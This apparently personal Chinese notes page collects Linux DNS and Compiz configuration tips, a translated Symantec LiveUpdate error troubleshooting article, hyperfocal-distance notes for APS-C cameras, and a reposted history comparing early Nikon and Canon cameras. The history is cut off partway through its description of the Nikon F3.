亮的MARK库

由于安装了resolvconf包，开机自动覆盖resolv.conf.

找到 “/etc/resolvconf/resolv.conf.d/“: base - 空 head original - 空 tail - 空 vim /etc/resolvconf/resolv.conf.d/head # OpenDNS nameserver 219.141.136.10 nameserver 219.150.32.132

别忘了:

首先确保显卡安装正确。否则开启Compiz Fusion Icon后无窗口框。

art@ThinkPad:$ glxinfo grep ‘direct rendering’ direct rendering: YES art@ThinkPad:$

别忘了:

确保Compiz Fusion Icon 中settings manager 选择 窗口装饰.

否则开启Compiz Fusion Icon后无窗口框。

本文档翻译自英文文档。原英文文档可能在本翻译版发布后进行过修改更新。赛门铁克对本翻译文档的准确度不做保证。

情形
Symantec Endpoint Protection Manager 运行 LiveUpdate 时失败，在 LiveUpdate 状态中显示以下错误：LiveUpdate 遇到一个或多个错误。 返回代码 = 4

解释
造成此错误的原因有多种，包括但不限于以下原因：
代理服务器阻止访问 Internet。
Symantec Endpoint Protection Manager 正尝试通过内部 LiveUpdate 服务器连接，但提供给 LiveUpdate 的 URL“不”正确。
Internet Explorer 中启用了增强的安全性
使用了进入 Internet 时要求身份验证的防火墙。

注意：要重新注册管理器而不重新安装软件，请按以下步骤操作：
打开命令提示符并浏览到：
C:\Program Files\Symantec\Symantec Endpoint Protection Manager\bin
键入 lucatalog -update 并按 Enter。
运行 LiveUpdate 以确认没有错误。

技术信息
How to setup the Symantec Endpoint Protection Manager to use specific proxy settings for LiveUpdate（如何设置 Symantec Endpoint Protection Manager 以便为 LiveUpdate 使用特定的代理设置），位于以下 URL：
http://service1.symantec.com/SUPPORT/ent-security.nsf/docid/2007082113383448

参考资料
可以在以下日志文件中找到有关 LiveUpdate 失败原因的更多详细信息：
:\Documents and Settings\All Users\Application Data\Symantec\LiveUpdate\Log.LiveUpdate

超焦距在全画幅相机中可以通过镜头上的景深标尺读出.

但是对于aps画幅的超焦距就不能照搬景深标尺了.

参考了:

http://www.dofmaster.com/dofjs.html

后暂且得出:

同一个镜头在aps-c画幅与全幅相机中仅仅为coc值的不同。 coc值的不同,导致了1.6系数的产生. 及:

aps画幅c-aps/全画幅c-full=1.5 or 1.6

按照超焦距的计算公式.

超焦距为H, f是镜头焦距比如50mm，N是镜头的f值.c为coc (circle of confusion)

手动头上的景深标尺应该是按135相机的标准来标注的，这样的话在aps-c上要乘以1.5或者1.6的系数。

根据这个公式,自然全画幅和aps画幅景深自然也就不同了.

仔细阅读参考资料发现

为超焦距的精确计算.所以单纯的c值变化还是不对的.

但是镜头的F值对于实际估算中的偏差.已经是可以忽略的了.而且为了方便计算依旧可以对aps画幅的超焦距计算按照上贴中的计算方法进行参考.

尼康与佳能演义（前史篇）–郭铁师

本文是应《摄影之友》所写，并已经发表在2002年第7期上，现将原文呈上.

      如果把法国人达盖尔于1839年8月19日向世界公布的“达盖尔”银版摄影系统称为第一台相机，那么到2002年照相机的问世已是163年。163年对于一个人的生命是可望而不可及的，但对于人类文明世界的开创却仅仅是短短的一瞬。就在这短短的一百多年里世界上究竟出了多少相机厂又生产了多少种相机怕是谁也无法说清了……。 到了1913年德国的莱兹公司发明了世界上第一架采用35mm胶卷画幅为24mm×36mm的莱卡（LEICA）相机，使相机开始向小型化、平民化发展。这段时间里相机工业已是德国人的天下，在其后的三、四十年里世界上的优秀相机大部分都是德国人制造的。采用35mm胶卷的小相机除了莱卡还有1934年问世的康太克斯都曾显赫一时。在当时莱卡与康太克斯两种35mm小相机虽然代表着两种风格两种流派，但却代表着一种相机文化即德国相机的严谨、高贵、典雅。无论使用还是把玩，甚至谈论这两种相机都是一种身份的象征。而这一时期日本的相机工业还处于雏形萌芽期，而是由于战争的需要这一时期日本无论是机械制造还是光学的研制都是围绕着军备而进行的。但也恰是这一时期，代表着当今世界相机先进水平的尼康和佳能公司也开始了探索性的起步。

（一）。“尼康”与“佳能”前史

1。尼康

      尼康公司的前身成立于1917年7月，这家公司当时的名称叫“日本光学工业株式会社”（Nippon Kogaku K.K），简称“日光公司”。日光公司组成其实是一种“政府行为”，是日本军部为了战争的需要，将在东京的生产研制与光学器械有关的“三菱合资公社”、“藤井镜头”、“东京计器”三家小企业合并成，其主要目的就是为战争服务。主要产品是为军方制造光学仪器，如望远镜、潜望镜、军用测距仪，航空照相机等。当年日光公司的日子应是很好过的，所有的产品无论是军用还是民用都是政府向其订购的，不需为开发市场寻找用户发愁，只要严把质量关，把东西造好就行了。可能正是这一时期“日光”公司从严要求自己，才为后来的发展打下了坚实的基础。

      1918年日光公司直接从德国请来了8名光学专家来厂作顾问指导，但还觉不够，随后又将一批自己的光学师直接送到德国进修，所以日光公司虽然时间上成立很短，但起点很高，一下子就同当时光学工业最为先进的德国接轨了。这也是后来尼康的光学能雄踞世界成为一个重要的品牌的渊源所在了。除了人员的交流与协作，日光公司还几乎引进了德国的全套光学制造设备，从加工光学玻璃到全套的镜头的研磨、抛光设备等，可以这么说最初的“日光”身体里流淌的是纯正的德国“血液”。

      1920年，日光公司的仪器正式定名为“Nikko”。1921年开发出5CM、7.5CM、10CM三支反射式望远镜，成为尼康发展史上里程碑式产品。1932年以“Nikkor”作为其生产镜头的注册商标名称，1935年尼康推出50mm f3.5镜头并用在第一部日本仿莱卡相机Hansn Canon上并引起人们注意。后来由于日本略战争的需要，“日光”公司也得到了迅速的发展。二战中“日光”公司是开足马力努力扩大生产规模为军方生产军用光学器械，最多时达到19家分厂，23000名员工，一跃成为日本最大的光学仪器生产商。如果说“日光”公司也发了战争财(至少可以说是在战争中发展起来的）也该不为过了。但到1945年二战结束，“日光”公司一下子陷入了深渊，没了军方所求，等于丢了原来的铁饭碗，加上日本成了战败国，经济上大萧条，只能生产一些非军事用途的光学仪器不足以维持庞大的开支，日光公司开始大量的裁厂、裁员。到1946年只剩下了一家工厂和1400员工。穷途末路，逼迫“日光”公司走上研制生产相机之路，这才有了今日辉煌的尼康！

2。佳能

      再来看看佳能公司走过的道路。如果尼康公司的前身是三家小公司的重组，那么佳能公司的开创则是两个人的合资。这两位便是吉田五郎和内田三郎。细论这两个人的关系他们还是是舅哥与妹夫的关系。他们结合也可称为一种“家族”工业的开始。吉田先生生于1900年，自幼十分喜欢摄影，使用照相机还觉得不过瘾，还把能弄到手的相机都拆开再重新装上，用今天的话就是DIY吧。中学毕业后，吉田进入了电影领域，从事电影放影工作。这期间他有机会大量的接触和使用各种照相机、摄影机。结果越玩越上瘾，萌生了生产日本一流照相机的想法。但他深知一个人的能力是有限的，首先要找一个好帮手一起干，于是想到了他的妹夫内田三郎。内田三郎曾就读于日本东京帝国大学，毕业后从事证券业，对照相机即不熟悉没有兴趣，开始并没太当回事，但架不住吉田的思想工作，最后终于接受了吉田的想法。于是两个人在东京麻布区六本木12号竹皮屋，成立了“精机光学研究实验屋”，简称“精机公司”，正式开始研制照相机。这一年是1933年，比起日光公司的重组晚了16年。

      精机公司成立后就全力投入到照相机的研制开发中，两年的努力终于有了成果，在1934年研制成日本第一架仿莱卡的35mm照相机，并命名为“观音牌”（Kwanon）。因为侵犯了莱卡的专利权只出了样机没能正式投入生产。1935年精机公司推出另一款35毫米焦平面快门的照相机(Hansa Canon)，并正式注册佳能商标“Canon”。这台相机被认为是佳能公司第一台推向市场的仿莱卡相机，并获得成功。

      精机公司同日光公司相同的是在二战期间，也曾为军方大量的生产了军用的光学仪器（当时日本大部分企业都变成了军工厂），但不同的是他们并没有忘了在相机领域的研制和开发，这可能同开创者吉田先生是个狂热的相机迷有关。并在1939年推出了“S型”、“J型”、“JS型”、“NS型”四款佳能相机，虽然产量不大（现在可都是收藏领域的精品价值七八千美金），但在战时佳能公司的相机产业雏型已经形成。等二战一结束，佳能公司迅速恢复了相机的生产。1947年佳能正式将社名改为“佳能照相机株式会社”，至此，“佳能”的名子开始叫响世界。

      有一点是要提的是最初的“佳能”与“尼康”是有过密切的合作的，他们的真正分庭抗礼是在二十世纪七十年代以后。它们的亲密接触是体现在佳能的早期相机其实是双方的优势互补，早期佳能机身是“精机”公司研制成果，而配套镜头却是日光公司的“Nikkor”品牌镜头。佳能因为有了“Nikkor”使其功成名就，而“Nikkor”镜头也恰是因为佳能相机而被人们所认识。

下面是佳能相机使用的“Nikkor”图表。

型号 年代 镜头
Hansa Canon 1935-37 Nikkor f3.5
Canon J 1939-44 Nikkor f4.5 f3.5
Canon JS 1941-45 Nikkor f4.5 f3.5
Canon J-Ⅱ 1945-46 Nikkor Seiki-Kogaku Serear f3.5
Canon S 1938-46 Nikkor f4.5 f3.5 f2.8 f2
Canon NS 1940-42 Nikkor f4.5 f3.5

     本文下面将尼康与佳能在上个世纪八十年代以前各时期具有代表性的相机放在一起进行一下比较，并不是要象判官那样分出胜负高低，只是想做一下横向对比，让大家对这两种当今世界相机两强有个初步的认识！

尼康与佳能演义（始祖机篇）–郭铁师

（二）。始祖机的比较

1。先说佳能。

      1936年，经过两年的潜心研究的精机公司终于搞出日本的第一架35mm相机（仿莱卡）并取名为“观音”（Kwanon）。该机的快门及过片机械构造镜头接口几乎是莱卡相机的翻版，外型也与莱卡Ⅱ型机极为相似。由于这种相机直接采用了莱卡的专利技术，最后没有办法投入生产，只出了一台样机。有意思的是这台样机后来（1937年）想出售给东京的一家相机店，但店主是位虔诚的佛教徒，一听说这相机叫“观音”，认为是对佛祖的不敬，当即将它拒之门外。结果精机公司的样机没卖出去最后又回到厂里。目前这台相机放在佳能博物馆里，当然任何人也别再想把它买了去，因为它已经价值连城了！

    “精机”虽然推出了“鼻祖”相机“观音”，但它真正意义的第一台相机却是1935年2月推出的佳能·汉沙(Hansa Canon)。这种相机不仅正式启用了“佳能”的名称，还是精机公司正式生产的第一款相机，虽然产量不大，但这种相机是真正的面向市场和走向市场的。是佳能真正的“始祖机”。 Hansa Canon为了区别于莱卡相机不至于惹上专利官司，可畏煞费了苦心。首先对相机的接口进行了改造，设计出前插刀式的镜头接口，同时在机身上方设计出弹出式的取景器。精机公司还设计出独特的后齿轮驱动螺丝对焦环镜头传动调焦机构，但对生产这种镜头还没有能力，于是委托当时日本最大最好的光学制造机构日光公司代为生产配套镜头。这是两家公司的第一次合作，该镜头的设计标准后来还被佳能J型、S型等相机采用，直到二战后才终止。Hansa Canon在整体功能上同当时的莱卡相机是没有太大差别的，但快门速度只有1/20至1/500秒八档。没有1/20秒以下的慢速档。 这种以“佳能”命名的相机正式投放市场后因价格低廉，当即受到欢迎，出产量1100台左右。这不仅给精机公司以很大的信心同时也使日本的相机工业看到希望，随后于1939年精机公司在原有基础上进行了改革，一鼓作气了佳能S型、J型、JS型、NS型照相机。等到1945年二战结束，精机公司的相机工业已有了很牢固的基础，这时是万事俱备，只欠东风了。

      战后精机公司便全力放在照相机开发和研制上，迅速地战领和开拓市场国内，1947年佳能推出了SⅡ型照相机，并开始在海外销售并获得好评，同年精机公司正式改名为“佳能照相机株式会社”，同时又增加了投资，扩充生产设备，生产量开始加大。佳能在相机业迅速崛起了！ 虽然佳能公司比尼康公司晚16年问世，但第一台相机却比尼康早了整整11年。

2。再说尼康。

     可能是佳能在相机领域的成功刺激了尼康公司的神经，战后首先想到的也去生产照相机，应该是在佳能的身上看到自身的实力，所以迅速调整产品的产业结构。并于1946年开始研制相机，开始日光公司研制的除了35MM相机还有一款120双反相机，但精明的“日光”人看到了135型小型相机的前途，当即放弃了120型相机的开发而全力主攻135型相机研制。两年后正式投产135相机，并取名为“NikonⅠ”。“Nikon”的名称取自“日本光学株式会社”(Nippon Kogaku K.K)中的“Ni”和“Ko”又加上一个“N”组成，因是第一部相机，就称为“Ⅰ”型。

    日光公司在日本光学方面是老大哥，但在相机领域却是个小弟弟。它的第一部相机问世，比起佳能的“始祖机”整整晚了11年。佳能的成功与崛起是靠模仿和改良莱卡相机，是踩在巨人的肩上向前行的（当时世界上凡是有些能力的相机厂都在尝试走这条路）。但日光公司在第一款相机却没有垂青莱卡，而是瞄准了135型小型相机的另一个巨子“康泰克斯”。但这次“日光”人没有简单的“拿来”，完全的模仿，而是直接大胆的进行了改良。其中最大的变化有两点：一是吸收了莱卡相机的精华，在设计上将莱卡的一些技术改进后直接用到尼康相机（如采用了莱卡的横走式帘幕焦平面快门）；二是将画幅设计为24×32mm。要另起“日本画幅”以对决于在世界上广泛流行的24×36画幅，可以看出尼康人的“野心”不小。实践证明尼康在技术上的改良体现了后来尼康相机敢于吸收其它相机技术上的精华的胆识，而画幅的改变则是彻底的失败，虽然在后来的尼康相机还不死心，又在随后问世“Nikon M”型相机上改为24×32mm画幅，则是更加招致一片嘘声，等到了1953年“Nikon S2”出世就改为了国际通用的24×36mm画幅了。

     NikonⅠ型相机共生产了738部，其中有229部因质量不合格没有出厂，后来改为了Nikon M型相机。这700多部尼康全部是手工打造的。虽然相机的构造是相同的，但这些相机的零件则全是“特制”的，互相之间是不能互转互换的。据说越早期的产品，其“个性”就越强，就越与众不同。有人说中国相机五十年前同日本相机差距不大或者说是同时起步，可能所指的就是尼康相机。但我国同日本则有许多的本质不同，那时我国的民族工业刚刚起步，虽然可以不计成本，照猫画虎地造出几台“顶级机”，但不仅其高昂的成本是没法推向市场的，而其内在的粗糙产品质量又无法保证相机能正常使用。当时日本虽在战后百废待兴，但仍有其雄厚的现代工业基础，特别象尼康公司这样的有几十年生产经验的军工精密仪器生产企业，转产去生产高档的相机应是完全可行的。 但NikonⅠ相机推向市场却没有当年佳能相机推向市场时那么好的运气，主要是当时日本作为战败国，经济萧条，市场不景气，人们吃饭都成问题，已没有了当年买相机兴致，所以NikonⅠ型相机卖了很长时间而且绝大部分都被占领日本的美军来作生意的欧美商人买走了……

     尼康相机的转折始于1950年，这时朝鲜战争兴起，有大批的美国记者涌入日本，以备去前线采访。有记者发现有日本人用的莱卡相机上装有Kikkor镜头（当时日本还有一种模仿莱卡相机维妙维俏的Nicca牌相机，使用的就是Kikkor镜头），于是一个叫Jacob Deschin的记者应邀参观了日本光学，并选择了全套的尼康镜头装在他的莱卡相机上。后来在朝鲜拍摄了许多的新闻照片并在《纽约时报》发表了一篇特稿，专门报导及介绍Nikon相机和Nikkor镜头。至此，尼康相机一夜成名（1950年12月10日），引起国际社会的注意。

     随同NikonⅠ相机推出的还有35mm f3.5、50mm f3.5、50mm f2、85mm f2、135mm f4五款镜头。尼康虽然起步晚，但开局却很完美！ 尼康相机在50年代迅速崛起并成名，主要取诀于它成熟先进而又独特光学技术。好的相机要有好的镜头相配，只有好的镜头才能使相机拍出好的照片。Kikkor镜头是在成熟的军用光学仪器上发展起来。在1917年日光公司成立时因为有日本政府做后盾，所以起点很高。又因为是为军方服务工艺要求及制作水准都很严格，而在随后的几十年生产军用光学仪器同时上，日光公司并没有忘了在照相机领域进行摄影镜头的开发和研制，如在1932年制定镜头名称为“Nikkor”时当年就研制并生产出天塞型的75mm、105mm、120mm、180mm镜头和三片镜片的500mm f4.8、700mm f5等高质量镜头；1935年和1938年制成大口径的50mm f3.5和f2供Hansa-Canon使用；在1939年完成了50mm f1.5镜头的研制工作；在1947年到1950年伴随NikonⅠ和M型的问世，又生产出一系列配套的镜头，如：135/4、135/3.5、85/2、50/1.4、35/3.5及新型的50/1.5镜头。有了这些优质镜头做保证，这时高档尼康相机可以说是呼之欲出了……

（三）。平视经典机的比较

      日本相机靠模仿德国相机起家和发展，在上世纪三十年代日本135小型相机的起步到50年代工艺的成熟，这二、三十年里总共有九家相机厂模仿莱卡相机，生产的型号达到九十多种，其中仅佳能厂便出了三十多种，而只有尼康厂一家别出心裁的模仿了康泰克斯。自1948年起到1960年止，尼康公司共有八个不同型号的仿康太克斯平视取景测距联动式照相机问世。早期的佳能和尼康相机虽然是模仿之作，但已经溶入了日本人的智慧和相机理念，在原机的基础上有了很大的开拓与创新，其中不乏经典与完美之作，下面各选其一款简要的介绍。

1。Nikon SP

      这是八款尼康平视取景相机第五款，诞生于1957年，也是尼康平视取景相机里最经典最完美的一款。被称为尼康平视取景相机的“机王”。 尼康SP相机是专门为职业师设计的，其实是今天所说的“专业机”。它的外型虽然仍似康太克斯，但其内部构却吸收了许多莱卡相机的技术，同时也溶进了日光公司自己十年来在相机领域探索与开拓的意识和理念。这台相机其实是随后出现尼康“至尊”产品–尼康大F的开路先锋，不仅许多技术直接移植到了尼康大F相机上，而且还有许多部件甚至可以同大F型相机通用。

看看尼康SP的独到之处吧。

      一。同时拥有六个取景框（是世界第一台）。在取景系统尼康SP仍采用康太克斯式的联动测距系统，但它却做了许多的改良，特别是右侧的取景窗做的很宽大，设有50mm、85mm、105mm和135mm四个焦段的取景框。另外还有一个小的辅助取景框，观景器内显示28mm和35mm两个焦段的取景信息，更令人惊奇的是这两个小取景框都有近摄自动校正系统。无需外加取景器便可一下子使用6只不同焦距镜头，尼康SP开了世界之先，甚至比当时名气最响的莱卡M3还多了两个。这些功能直到莱卡M4-p上才出现，而这时已到1980年。

      二。独特的快门系统。SP虽然是模仿的康太克斯外型，但并没有使用康太克斯的纵走式金属快门，这种快门结构复杂，工艺要求高而且易损坏，SP还是使用莱卡式的横走式帘幕快门，但却是一种不同于以往的全新快门。它没有1秒－1／1000秒、B门及T门，速度盘使用仿莱卡的转盘式。SP的机顶设计也有些模仿莱卡M3，右手使用搬手式过片。早期的SP使用布幕快门，而后期的SP开始使用钛质快门，这是尼康相机第一次使用“钛”快门。另外SP开始设置自拍机。

      三。可以使用马达卷片器。虽然先于SP推出的尼康S2的改良型S2E（产量只有32台）曾使用了这种卷片器，但这种卷片器其实为SP设计的，S2E只是实验地用了一下，所以尼康SP相机也是第一款正式使用卷片器的尼康相机。 尼康SP相机设计历时三年，可以说煞费了“日光”人的苦心，这款相机问世后，尼康公司已经完全具备了设计生产专业照相机的水平和能力，这时尼康大F的问世可以说是迫不及待了。 SP相机的产量不大，只在22341部。

2。Canon 7S

     佳能在平视取景联动相机中最经典的相机是佳能7S，它是1965年推出的，比尼康SP晚了8年，这也是佳能最后一款测距式连动相机。这架因装有f0.95/50mm大口径标准镜头同时出售的相机，可是惊天骇世，出世便引起轰动。被称为佳能平视取景相机的“机皇” 佳能7S相机其实是1961年问世的佳能7的改良型，60年代日本相机开始进入黄金时代，这时各厂家都有成熟的相机制造技术，出了不少经典机和名机，而佳能厂更是技术日臻成熟。在单反相机机方面虽然没有推出象尼康F那样的专业相机，但也有几款不错的单反相机问世，而在平视取景相机方面却是登峰造极，极尽了当时日本的相机技术水准。

看看佳能7S的技术特点。

     一。取景系统。7S仍采用与佳能一贯坚持并与莱卡相同的亮框式构造取景器，内有测距器并与镜头的对焦环联动。取景器内设有视差自动调节器，设有5个取景框，分别是35mm、50mm、85mm、100mm、135mm（这点可能不及比它早八年的尼康SP）。

     二。测光系统。7S具有测光系统，采用CDS光敏电阻实行镜外测光。它的测光部分设有两个区域，即低照度测光（L），范围为EV6-13，高照度测光（H），范围为EV12－19，测光系统与快门速度盘联动。

     三。快门系统。7S采用钛金属快门帘幕，结构同莱卡一样是横走式，有快门释放锁以防止误拍。它的速度档为1秒-1/1000秒，并有“B”门、“T”门设置。7S设有自拍器，这种自拍器是先上弦再按动单独的自拍按钮才释放快门。

     四。快速卷片系统。7S的上卷采用了单反相机使用了引片轴结构，就是打开后盖将胶片直接插上引片轴，合上后盖就能卷片过片。这种方便快捷的过卷方式省略了拍摄者很多的时间，受到专业摄影者的好评。

     佳能7S相机另一个引人之处配备的大口径标头。f0.95是当时世界上光圈口径最大的摄影镜头，纳光能力已经超过了普通人的眼睛。这枚镜头是1961年专为佳能7设计的，但却大量的装在了7S上使用。今天许多现代人可能对佳能7S机身不太感兴趣了。而提起这只头谁敢不说是眼前一亮呢！

     除了这只头引人注目，佳能到这个时期已经在大口径镜头方面走在了世界的前面，而且许多镜头采用了莹石玻璃，提高了镜头的整体素质。佳能7S配套的镜头可以说是当时世界最全，也是阵容最完整的，有三大系列： 1、标 头： 50/0.95、 50/1.2、 50/1.4、50/1.8、 50/2.8 2、常 规 头： 19/3.5、 25/3.5、 28/2.8、35/1.5、 35/1.8、 35/2、 85/1.8、 100/2 3、长焦镜头： 135/2.8、 200/3.5、300/4、 400/4.5、600/5.6、800/8、1000/11、2000/11。

      到五十年代末期，佳能与尼康都有成熟的品牌产品，但终还是摆脱不了抄袭莱卡和康太克斯的影子，虽然他们的模仿已不仅仅是唯妙唯俏，可以说是脱胎换骨的，甚至走到了极至，但还没有完全属于“自己”的东西。此时相机制造技术已日臻成熟的佳能与尼康怎肯再甘居人下，他们终于开始向自己的专利产权发起冲击了。这一年是1959年。

      5月和6月，佳能与尼康分别推出了自己的第一台单反相机，从而标志着这两家公司在单反相机方面的开拓与生产正式起步。Canon Flex和Nikon F就是两家相机厂的转轨变型，虽然这以后两家仍然出了一些平视取景相机，而且佳能还出了有划时代意义的7S，但终是强驽之末。在后来的四十几年时间里，佳能与尼康相机比翼齐飞，逐步成为相机界的老大，才有了今日的C、N之争、华山论剑。

1。Canon Flex。

      1959年5月佳能公司推出第一台单反相机佳能弗莱克斯(Canon Flex)。而这时佳能平视取景相机的销量正是开始走下坡路的时候，佳能探索性的推出第一款单反相机其实是市场形式的逼迫。围绕这市场开发相机是佳能多年不变的原则。

还是看看它的技术特点：

      一。镜头：随相机一起出售的是f1.8/50的标准镜头，使用互换压环式的R卡座同机身连接。这种接口可以同后来FL、FD卡口镜头互换使用，但同FD口接环还是有很大的不同，就是光圈拨杆不能连动。

      二。快门：采用了帘布焦平面快门，快门速度为1秒-1/1000秒，B、T门和X闪光同步档，使用T门时要先将快门下的拨杆向里推。

      三。取景器：这种相机采用可卸式五棱镜取景器，体积达到了35×49×40mm，比现代相机用的取景器还要宽大得多。

      四。其它：机身右前方设有外接测光表的插座（另配测光表），过片扳手装在机身下方，并由左手来操作（这点很是笨拙）。

      这种相机的机加工很细致，外观也很漂亮，用料十足，显得机身很重。 佳能弗莱克斯问世仅比尼康F早一个月，但整机的档次要低不少，显得仓促了一些，特别是它的左手输片使许多人感到不习惯。所以这种相机问世后并没有带来太大的反响，到60年停产只生产了1.7万台。可以说佳能弗莱克斯是款不太成功的相机。

2。Nikon F。

      1959年6月尼康也推出第一台也是当时世界最顶尖的单反相机。这台相机的问世几乎代表了日光公司成熟的相机理念，而且一直影响尼康相机四十多年。这部被称为尼康“至尊”的F相机至念仍被人们所推荐，仍有大量人士使用。成为尼康精神的化身。它的问世改变了许多专业、新闻摄影人士对相机的认识，从而选择尼康，甚至一生相伴。

也来看看它的技术特点。

      一。镜头：同相机一起发售有5支镜头，分别为：50/2、135/3.5、105/2.5、35/2.8、21/4及尼康首支变焦头85-250/4-4.5，这些镜头首次使用尼康的F卡口接环，这种卡口环同后来的AI、AI-S、E系列、AF系列基本上是可以互换使用的。就是今天尼康相机上配套镜头仍可用在尼康F相机上使用，而当时出的镜头也可用在最新款的尼康F5上，只是有些功能要损失。

      二。快门：延用原在尼康SP相机上使用莱卡式焦平面快门，材质是金属钛帘幕（具说早期的一百台尼康F为布帘快门），速度为1秒-1/1000秒、B、T门，同尼康SP一样，有自拍装置。

      三。取景器：采用可换式取景系统，并有五种取景器可供换用。另外还备有17种不同规格的取景屏也可以换用。

      四。其他：尼康F相机还有反光板锁与景深预视按钮。采用了折叠式的逆时针过片扳手，倒片钮上备有闪光灯热靴插座（另备）等许多实用的功能。其中有许多大F上的设计都经受住了时间的考验，不仅被延用到后来的F2、F3、F4甚至移植到今日的F5上，说明了尼康人的远见和对现代相机的理解程度。

      大F问世可以说是一鸣惊人，不仅领导了现代专业相机的潮流也使尼康在后来的专业相机发展上打下一个非常好的基础，牢牢把握住专业相机的发展方向。在后来四十年里，无论是尼康F2、F3、F4还是今天的F5，可以说款款精彩，个个叫绝。

      大F问世后尼康公司并没有就此罢手，而是在不断地改进和充实它。其中1962年出了带外测光的Nikon F Photomic型；1965年又出可以进行TTL测光的Nikon F Photomic T型；1967年推出再次改进的Nikon F Photomic TN；1968年推出可以半自动最大光圈的Kinon F Photomic FTn型。

      前面进行的佳能弗莱克斯与尼康大F的比较，只是从双方都是转轨变型机这一角度，而非是要在性能与档次上的比较，否则就有失公允了。

      尼康与佳能在专业相机上的真正对决碰撞始于上世纪的七十年代。1970年佳能公司在摸索十余年后终于推出自己的第一台专业单反相机F-1，而一年后（1971年）尼康公司在有了十余年专业相机开发和生产经验之后推出了更高、更强的专业机尼康F2。至此两者在专业135单反相机上的对决与竞争才真正的开始了。C．N大战的狼烟点燃了……

1。Canon F-1

      自1959年佳能公司推出第一台单反机到1970年十一年间佳能公司还推出了佳能RP、R2000、RM、Canonex、FX、FP、Pellx、FTQL、PelixQL、TL EXEE等十一款单反机，这时才推出专业单反相机，显得有些姗姗来迟了。佳能公司的想法是不鸣则已，一鸣惊人。

      一。镜头：可使用FD、FL、R各系列镜头，其中FD系列镜头为全开光圈测光，FL系列镜头为收缩光圈测光。佳能发展到1970年已有多款和各种规格的镜头问世，这些头几乎都可以安在F-1相机上，从而使这种相机在各个领域的使用有了保证。

      二。取景器：同其它专业相机一样，佳能F-1的取景器是可换的，备有腰平、自动曝光、T型放大，快速及标准眼平棱镜五种取景器，另外有A、B、C、D四种聚焦屏可换。

      三。测光：TTL全开光圈测光，同机身快门、镜头光圈联动，采用CDS对中央12%部分测光，范围EV2.5-EV18，取景器里显示为追针式，这一系统在当时应是最先进的，而且一直领先了尼康七年时间。

      四。快门：采用焦平面钛金属横走帘幕快门，由1秒-1/2000秒及“B”门，最高闪光同步速度为1/60秒。有快门锁，自拍机拨杆兼作景深预测杆，反光镜有减震装置，并可锁定。

      五。其它：可以多次曝光，后盖有安全锁。测光使用一枚1.35V汞电池。

      佳能F-1相机的问世也体现佳能厂专业135相机理念，就是佳能的专业相机其实是一个庞大的摄影系统，而机身只是这个系统的核心部分，所以配合佳能F-1的除了一大堆镜头外，还有庞大的附件系统，其中有MF电动马达，F型电动卷片器，各种数具后背，可容纳250张胶片的大容量片盒，以及大量的近摄、显微摄影装置附件等。 同尼康相机一样佳能F-1也因结实耐用而赢得人们的称赞，快门可在60摄氏度至零下30度环境中使用，可承受十万次无故障的考验。这种相机后来多次被指定为奥运会专用相机，为佳能厂赢得不少荣誉。

2。Nikon F2

      在有了十二年的专业机生产经验后，尼康公司才不不慢地推出第二代专业机尼康F2，它即是尼康大F的延续，又同大F有了许多的不同，无论在外型还是具体功能上都有了很大的突破。这时的尼康已经胸有成竹了。

      一。镜头：AI、AI-S、E系列卡口镜头都可以使用。这时尼柯尔卡口镜头已成为系列，从6mm到2000mm一应俱全，便尼康F2相机有了英雄用武之地。

      二。取景器：同大F一样，F2的取景器也是可以互换的，并涵盖100%的实际画幅。它有七种取景器可换，其中DP-1、DP-2、DP-3都是内置TTL测光表的眼平式。

      三。测光：F2的测光系统是根据取景器的不同而不同的，Ⅰ型为中央偏重点平均测光EV1－17，Ⅱ型测光范围为EV-2－17，Ⅲ型为后期产品，采用测光元件是蓝硅（SPD），灵敏度及性能优于前两者。

      四。快门：F2使用经过改良后的横走式金属钛质焦平面快门，1秒-1/2000秒，T、B、2－10秒慢门，X同步为1/80秒。有自拍，有景深预测，有反光镜锁。

      五。其它：备有250张式750张的大容量片盒，资料后背，MD-2马达每秒可拍1-5幅，使用二枚G13型电池测光。

F2同大F一样，也有许多改良的不同版本。如与F2同时推出的还有带测光取景器的F2 Photomic 版；1973年又推出带LED测光的Photomic S版；1796年又推出采用SPD为测光原件的Photomic SB版；1977年推出使用AI口可实现光圈自动耦合的Photomic A版；随后又推出Photomic AS型，装有AF接环，这款是F2最好的一个版本；1978年为奥运会做了一批带高速卷片功能的F2H型（每秒达10张）；1978年又推出一款用钛金属作机身的F2 Titan版。 从上面的资料看尼康F2相机要比佳能F-1要好而且也比较使用。加上原来尼康F的影响，尼康F2问世后一下有引起专业摄影者的兴趣，各国职业摄影师开始重新打点装备，购入“新欢”。而佳能F-1却没有从尼康厂抢去太多的市场，并没有达到预期的目的。至此在后来十余年的期间里尼康F2仍独领风骚，成为手动机械快门相机的经典，在尼康相机乃至世界相机历史上都占有重要的地位。

时光任冉，日月如梭，转眼到了八十年代。这时相机世界已有了质的飞跃，电子技术的迅猛发展，不仅在测光上被各相机厂广泛运用，而电子快门技术已是非常的成熟，各厂家均把电子相机做为开发和研制的重点。佳能厂在1974年推出世界上第一台内置中央处理器（就是现在人们说的CPU）电子自动照相机，可谓惊天骇世，是世界相机史上里程碑式的产品，当年便纵横四海，销量突破百万台(共销出540万架)。而在1972年尼康公司也在电子相机方面做了大胆的尝试，这台相机便是尼康玛特EL，这台光圈先决曝光的相机是尼康第一，也是后来产量极大深入人们喜欢的尼康FE的前身。 而就在这时尼康的第三代，佳能的第二代专业相机问世了，两者开始了新一轮的较量。这次较量的不仅仅是相机而是双方科学技术与相机的全新概念了。

1。Nikon F3

十年磨一剑。又是经过了九年的等待，尼康公司于1980年正式推出了第三代专业单反相机F3。这台相机是尼康使用电子快门的第一台又是MF手动调焦最后的一台专业单反相机。

一。镜头：采用AI卡口，这种卡口是1977年设计出的，可使用NIKKOR绝大部分及E系列镜头。

二。取景器：仍是可更换式，有DE-3、DW-4、DA-2、DX-1等。标准配置为DE-2，取景范围为实际画幅100%，放大率0.8x，有二十余种聚焦屏可换。

三。测光：由蓝硅（SPD）测光元件在反光镜箱底部进行全开光圈TTL中央重点测光，可收缩光圈测光，范围EV1－EV18。

四。快门：横走式钛帘幕快门。电子控制8秒－1/2000秒、B；机械控制T门、1/60两档，X同步1/80秒。电子自拍器。

五。曝光方式：光圈优先AE式自动，测光手动，TTL控制闪光。

六。其它：有多次曝光钮，景预视钮；反光镜锁及快门锁，后盖锁；配有MD-4马达(每秒可拍5.5幅)；可换资料后背，大容量后背；配用专用闪光灯可进行TTL自动闪光摄影。

F3还有几个特点值得称道：
一是机身为铝合金一次铸浇而成，不仅厚重而且强度增加，最薄的地方也不少于1.4mm；
